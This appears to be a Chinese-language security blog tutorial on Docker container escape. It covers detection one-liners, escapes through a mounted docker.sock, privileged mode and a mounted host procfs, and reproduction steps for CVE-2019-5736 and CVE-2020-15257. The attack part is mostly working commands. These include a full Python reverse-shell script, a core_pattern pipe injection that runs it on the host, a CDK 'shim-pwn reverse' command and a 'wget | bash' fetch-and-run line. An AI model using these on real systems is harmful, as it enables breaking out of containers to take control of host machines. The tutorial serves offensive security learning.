云上攻防:云原生篇&Docker容器逃逸

简介: 本文介绍了Docker的基本概念及其对渗透测试的影响,重点讲解了容器逃逸的方法。Docker是一种轻量级的容器技术,与虚拟机相比,具有更高的便携性和资源利用率。然而,这也带来了安全风险,特别是容器逃逸问题。文章详细描述了三种常见的容器逃逸方法:不安全的配置、相关程序漏洞和内核漏洞,并提供了具体的检测和利用方法。此外,还介绍了几种特定的漏洞(如CVE-2019-5736和CVE-2020-15257)及其复现步骤,帮助读者更好地理解和应对这些安全威胁。

什么是Docker

简而言之就是一个容器技术,类似于VM虚拟机,别人环境封装好打包成一个镜像,使用docker技术就能快速把这个镜像环境还原出来。

Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

Docker技术对于渗透测试的影响

docker环境对于渗透测试的影响就是攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理环境的权限

这时候就有一个衍生技术docker逃逸,Docker容器逃逸是指攻击者突破容器的隔离机制,获取底层主机系统的控制权,类似于以前听过较多的虚拟机逃逸

容器逃逸方法总结

在开始之前对于容器逃逸主要有以下三种方法:

  1. 不安全的配置
  2. 相关程序漏洞
  3. 内核漏洞

#判断是否为容器环境

当拿到shell权限,看到数字和字母随机生成的主机名大概率猜到在容器里了,查看进程,进程数很少,PID为1的进程为业务进程,这也是容器环境的典型特征。当然,以上这两种都是比较主观的判断。

可参考文章判断方法:https://blog.csdn.net/qq_23936389/article/details/131486643

这里列举一个判断方法,在高权限情况下执行命令

cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

不安全启动

(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)


1、特权模式

执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

如果返回 Not privileged mode 则说明当前不是特权模式

#2、挂载 Docker Socket

执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket

ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."

如果返回 Docker Socket is not mounted. 则说明没有挂载

#3、挂载 procfs

执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

如果返回 Procfs is not mounted. 则说明没有挂载

#4、挂载宿主机根目录

执行以下命令,如果返回 Root directory is mounted. 则说明宿主机目录被挂载

find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."

如果返回 Root directory is not mounted. 则说明没有挂载

#5、Docker remote api 未授权访问

执行以下命令,如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."

如果返回 Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问

容器逃逸检测脚本

项目地址:https://github.com/teamssix/container-escape-check

直接在容器中执行以下命令即可

wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O -| bash

挂载 Docker Socket 逃逸

Docker Socket 用来与守护进程通信即查询信息或者下发命令。

Socket 逃逸简单来说就挂载 Docker Socket 逃逸是通过在容器内挂载宿主机的 /var/run/docker.sock 文件,利用 Docker 守护进程的权限,从而在宿主机上创建和运行新的容器,实现从容器到宿主机的权限逃逸。

#拉去环境
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
#进入环境
docker exec -it with_docker_sock /bin/bash
#检测环境
ls -lah /var/run/docker.sock

最近dockerhub已经不能访问了,使用原先的方式安装docker,服务器上也总是连接不上,感觉实战中还是因为白名单网站的缘故最好的方法还是建议先尝试访问官方网站自动化安装
这里提供几个方法尝试避免网络问题导致下载失败的问题

# 更新软件包索引
sudo apt-get update
 
# 安装需要的软件包以使apt能够通过HTTPS使用仓库
sudo apt-get install ca-certificates curl gnupg lsb-release
#官方安装程序
curl -fsSL https://get.docker.com/| sh  
#使用--mirror参数来指定镜像源
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
# 验证是否成功安装了docker
systemctl status docker
docker --version

# 添加阿里云官方GPG密钥
curl -fsSL http://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
 
# 写入阿里云Docker仓库地址
sh -c 'echo "deb [arch=amd64] http://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable" > /etc/apt/sources.list.d/docker.list
或使用清华大学源
# 添加Docker官方的GPG密钥
curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
 
# 设置稳定版仓库
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

更新源并安装Docker

apt-get update
apt-get install docker-ce docker-ce-cli containerd.io
# 验证是否成功安装了docker
systemctl status docker
docker --version

实在还是没法安装可以本机下载然后传输到目标主机,就是流量太大容易

wget -q https://get.docker.com/ -O get-docker.sh
sh get-docker.sh

容器内成功安装好docker后在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash
chroot /host

逃逸成功

root@e51f4a967c75:/# docker --version
Docker version 27.2.0, build 3ab4256
root@e51f4a967c75:/# docker run -it -v /:/host ubuntu /bin/bash
root@0e2481d99793:/# chroot /host
# ls
bin   dev  home  lib32  libx32      media  opt   root  sbin  srv       sys  usr
boot  etc  lib   lib64  lost+found  mnt    proc  run   snap  swap.img  tmp  var
# ls root
1.sh  Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  burp2024  docker-compose  snap
#

本机root目录

成功将本机目录挂载到新的容器内部

成功后chroot /test 切换后和打redis一样,定时任务反弹shell或者ssh传公钥

Privileged 特权模式容器逃逸

特权模式容器逃逸指的是在容器以特权模式(--privileged)运行时,容器内的进程能够获取宿主机上的root权限,从而可以执行如挂载文件系统、访问所有设备等操作,攻击者可能利用这种特权访问宿主机系统,实现从容器到宿主机的逃逸。特权模式下,容器内的root用户拥有等同于宿主机root用户的权限,这使得逃逸变得相对容易。

以特权模式进入一个环境

docker run --rm --privileged=true -it alpine
#检测是否为docker环境
/ # ls -al /
total 64
drwxr-xr-x    1 root     root          4096 Sep  3 08:54 .
drwxr-xr-x    1 root     root          4096 Sep  3 08:54 ..
-rwxr-xr-x    1 root     root             0 Sep  3 08:54 .dockerenv
#判断当前是否为特权模式
cat /proc/self/status | grep CapEff

成功逃逸

挂载宿主机procfs逃逸

将宿主机/proc/sys/kernel/core_pattern文件挂载到容器/host/proc/sys/kernel/core_pattern中

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

在容器中找到两个core_pattern文件那可能就是挂载了宿主机的 procfs

root@1b4722987fd1:/tmp# find / -name core_pattern
/proc/sys/kernel/core_pattern     #容器本身procfs
/host/proc/sys/kernel/core_pattern  #宿主机procfs

找到当前容器在宿主机下的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
#将work目录变成merged目录就是容器所在宿主机的绝对路径
workdir=/var/lib/docker/overlay2/ba7735195668f14dcd3109006c55f460a184e0004a7627b7806ee805a982d5db/

创建反弹shell脚本

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "192.168.0.21"
lport = 8848
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF

赋予执行权限 chmod 777 /tmp/.x.py

写入反弹 shell文件在宿主机执行路径到目标的/proc/sys/kernel/core_pattern 文件

echo -e "|/var/lib/docker/overlay2/ba7735195668f14dcd3109006c55f460a184e0004a7627b7806ee805a982d5db/merged/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern

从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
/proc/sys/kernel/core_pattern 是 Linux 系统中的一个特殊文件,它属于 /proc 文件系统,这是一个虚拟文件系统,提供了一个接口到内核数据结构。这个特定文件用于定义当程序崩溃导致核心转储(core dump)时,核心转储文件的命名模式和位置。
核心转储是操作系统在程序发生严重错误(如段错误)时创建的文件,包含了程序崩溃时的内存镜像和有关程序状态的其他信息,对于程序调试和确定崩溃原因非常有用。

  • core_pattern 文件的内容决定了核心转储文件的命名和存储位置。
  • 默认情况下,这个文件可能只包含一个单词 core,表示核心转储文件将被命名为 core 并存储在程序崩溃时的当前目录下。
  • 可以配置这个文件来更改核心转储文件的存储位置和命名方式。例如,可以设置路径和文件名,甚至可以指定一个处理核心转储的程序。
  • 上述解释就是我们要将反弹shell文件路径写入core_pattern 中写入引起docker崩溃的文件,诱导系统加载core_pattern 文件

安装vim以及gcc  (实战建议找同内核的机器编译好传上去)

apt-get update -y && apt-get install vim gcc -y

写入崩溃文件

cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF

编译好执行

gcc x.c -o x
./x

另一台机器开启监听

nc -lvvp 8848

云原生-Docker安全-容器逃逸&版本漏洞

CVE-2019-5736 runc容器逃逸

  • 复现建议:复现之前做好快照,因为复现过程中会破坏docker环境。
  • 漏洞影响版本:docker version <=18.09.2 RunC version <=1.0-rc6

下载特定版本清华大学镜像站点历史包,这里依赖难解决

# 下载特定版本的 Docker CE `.deb` 包
wget https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/dists/bionic/pool/stable/amd64/docker-ce_18.06.1~ce~3-0~ubuntu_amd64.deb
# 安装 `.deb` 包
dpkg -i docker-ce_18.06.1~ce~3-0~ubuntu_amd64.deb
# 解决依赖问题
apt-get install -f

或centos用阿里的源

# 更新系统并安装必要的依赖项
sudo yum update -y
sudo yum install -y yum-utils device-mapper-persistent-data lvm2
# 添加阿里云的 Docker 仓库
sudo vi /etc/yum.repos.d/docker-ce.repo
# 添加以下内容:
[docker-ce-stable]
name=Docker CE Stable - $basearch
baseurl=https://mirrors.aliyun.com/docker-ce/linux/centos/7/$basearch/stable
enabled=1
gpgcheck=1
gpgkey=https://mirrors.aliyun.com/docker-ce/linux/centos/gpg
# 列出可用的 Docker 版本
yum list docker-ce --showduplicates | sort -r
# 安装特定版本的 Docker
sudo yum install docker-ce-18.06.1.ce-3.el7
# 启动并启用 Docker
sudo systemctl start docker
sudo systemctl enable docker
# 删除现有版本的 runC
sudo yum remove -y runc
# 使用清华大学开源软件镜像站下载 runC
curl -L -o /usr/bin/runc https://mirrors.tuna.tsinghua.edu.cn/github-release/opencontainers/runc/releases/download/v1.0.0-rc6/runc.amd64
sudo 从  
# 验证 Docker 版本
docker --version
# 验证 runC 版本
runc --version

POC下载地址CVE-2019-5736-PoC

对main.go文件内容进行修改

使用go环境编译好后上传至目标

由于是模拟环境,因此在这里就在终端直接上传了,如果在实战情况下拿了shell,应该也有上传文件的权限
上传之后赋予POC执行权限。

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
#复制至虚拟机运行
docker cp main xxxx:/
chmod 777 main 
./main

执行完POC后看到successfully我们需要模拟管理员重新进入容器才能成功执行

[root@hello ~]# docker exec -it fc03 /bin/bash
No help topic for '/bin/bash'

成功逃逸

CVE-2020-15257 containerd逃逸

  • 漏洞影响版本:

containerd < 1.4.3
containerd < 1.3.9
这里使用阿里云的源安装对应漏洞版本的Docker

sudo apt-get update
sudo apt-get install -y ca-certificates curl software-properties-common
curl -fsSL https://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://mirrors.aliyun.com/docker-ce/linux/ubuntu bionic stable"
sudo apt-get update
apt-cache madison docker-ce
sudo apt-get install -y docker-ce=5:19.03.6~3-0~ubuntu-bionic docker-ce-cli=5:19.03.6~3-0~ubuntu-bionic containerd.io=1.2.4-1

用root用户以共享主机网络的方式启动容器--net=host

docker run -itd --net=host ubuntu:latest /bin/bash
docker exec -it 容器id /bin/bash

将自动化CDK复制到容器运行

docker cp cdk_linux_amd64 容器id:/
chmod 777 cdk_linux_amd64

尝试自动化检测漏洞

./cdk_linux_amd64 auto-escape id
#
./cdk_linux_amd64 run shim-pwn reverse 192.168.0.24 8888   #反弹shell

这里按照网上的方法一直复现不成功,尝试换了很多环境,怀疑是用的官方仓库缺少了一些组件,这里就等有空成功研究完复现了再补上

#所需版本 docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

这里用自动化脚本测试特权模式成功

自动挂载成功

相关文章
|
16天前
|
Kubernetes Cloud Native Docker
云原生时代的容器化实践:Docker和Kubernetes入门
【10月更文挑战第37天】在数字化转型的浪潮中,云原生技术成为企业提升敏捷性和效率的关键。本篇文章将引导读者了解如何利用Docker进行容器化打包及部署,以及Kubernetes集群管理的基础操作,帮助初学者快速入门云原生的世界。通过实际案例分析,我们将深入探讨这些技术在现代IT架构中的应用与影响。
57 2
|
14天前
|
运维 Cloud Native 虚拟化
一文吃透云原生 Docker 容器,建议收藏!
本文深入解析云原生Docker容器技术,涵盖容器与Docker的概念、优势、架构设计及应用场景等,建议收藏。关注【mikechen的互联网架构】,10年+BAT架构经验倾囊相授。
一文吃透云原生 Docker 容器,建议收藏!
|
16天前
|
运维 Kubernetes Cloud Native
云原生技术:容器化与微服务架构的完美结合
【10月更文挑战第37天】在数字化转型的浪潮中,云原生技术以其灵活性和高效性成为企业的新宠。本文将深入探讨云原生的核心概念,包括容器化技术和微服务架构,以及它们如何共同推动现代应用的发展。我们将通过实际代码示例,展示如何在Kubernetes集群上部署一个简单的微服务,揭示云原生技术的强大能力和未来潜力。
|
10天前
|
运维 Cloud Native 云计算
云原生之旅:Docker容器化实战
本文将带你走进云原生的世界,深入理解Docker技术如何改变应用部署与运维。我们将通过实际案例,展示如何利用Docker简化开发流程,提升应用的可移植性和伸缩性。文章不仅介绍基础概念,还提供操作指南和最佳实践,帮助你快速上手Docker,开启云原生的第一步。
|
15天前
|
Cloud Native API 持续交付
云原生之旅:从容器到微服务的演进之路
【10月更文挑战第39天】在这篇文章中,我们将一起探索云原生技术的奥秘。通过浅显易懂的语言和生动的比喻,我们将了解云原生技术如何改变软件开发的世界。文章将带领读者从容器的基本概念出发,逐步深入到微服务架构的实践,揭示这些技术如何助力现代应用的快速迭代与可靠部署。准备好,让我们启程进入云原生的精彩世界吧!
|
17天前
|
Kubernetes Cloud Native Docker
云原生技术探索:容器化与微服务的实践之道
【10月更文挑战第36天】在云计算的浪潮中,云原生技术以其高效、灵活和可靠的特性成为企业数字化转型的重要推手。本文将深入探讨云原生的两大核心概念——容器化与微服务架构,并通过实际代码示例,揭示如何通过Docker和Kubernetes实现服务的快速部署和管理。我们将从基础概念入手,逐步引导读者理解并实践云原生技术,最终掌握如何构建和维护一个高效、可扩展的云原生应用。
|
25天前
|
Kubernetes Cloud Native 微服务
云原生之旅:从容器到微服务
【10月更文挑战第29天】在这篇文章中,我们将一起探索云原生的奥秘。云原生不仅仅是一种技术,更是一种文化和方法论。我们将从容器技术开始,逐步深入到微服务架构,最后探讨如何在云平台上实现高效的服务部署和管理。无论你是初学者还是有经验的开发者,这篇文章都将为你提供有价值的见解和实用的技能。让我们一起踏上这段激动人心的云原生之旅吧!
|
25天前
|
运维 Kubernetes Cloud Native
云原生之旅:容器化与微服务的融合
【10月更文挑战第28天】 在数字化转型的浪潮中,云原生技术如星辰般璀璨,引领着企业IT架构的未来。本文将带你穿梭于云原生的世界,探索容器化技术和微服务架构如何携手共舞,打造灵活、高效的应用部署和运维模式。我们将通过实际代码示例,揭示这股力量背后的奥秘,并展现它们是如何为现代软件开发带来革新。准备好了吗?让我们启航,驶向云原生技术的深海。
|
25天前
|
Cloud Native 持续交付 云计算
云原生入门指南:从容器到微服务
【10月更文挑战第28天】在数字化转型的浪潮中,云原生技术成为推动现代软件开发的关键力量。本篇文章将带你了解云原生的基本概念,探索它如何通过容器化、微服务架构以及持续集成和持续部署(CI/CD)的实践来提升应用的可伸缩性、灵活性和可靠性。你将学习到如何利用这些技术构建和部署在云端高效运行的应用,并理解它们对DevOps文化的贡献。
52 2
|
14天前
|
Cloud Native 安全 数据安全/隐私保护
云原生架构下的微服务治理与挑战####
随着云计算技术的飞速发展,云原生架构以其高效、灵活、可扩展的特性成为现代企业IT架构的首选。本文聚焦于云原生环境下的微服务治理问题,探讨其在促进业务敏捷性的同时所面临的挑战及应对策略。通过分析微服务拆分、服务间通信、故障隔离与恢复等关键环节,本文旨在为读者提供一个关于如何在云原生环境中有效实施微服务治理的全面视角,助力企业在数字化转型的道路上稳健前行。 ####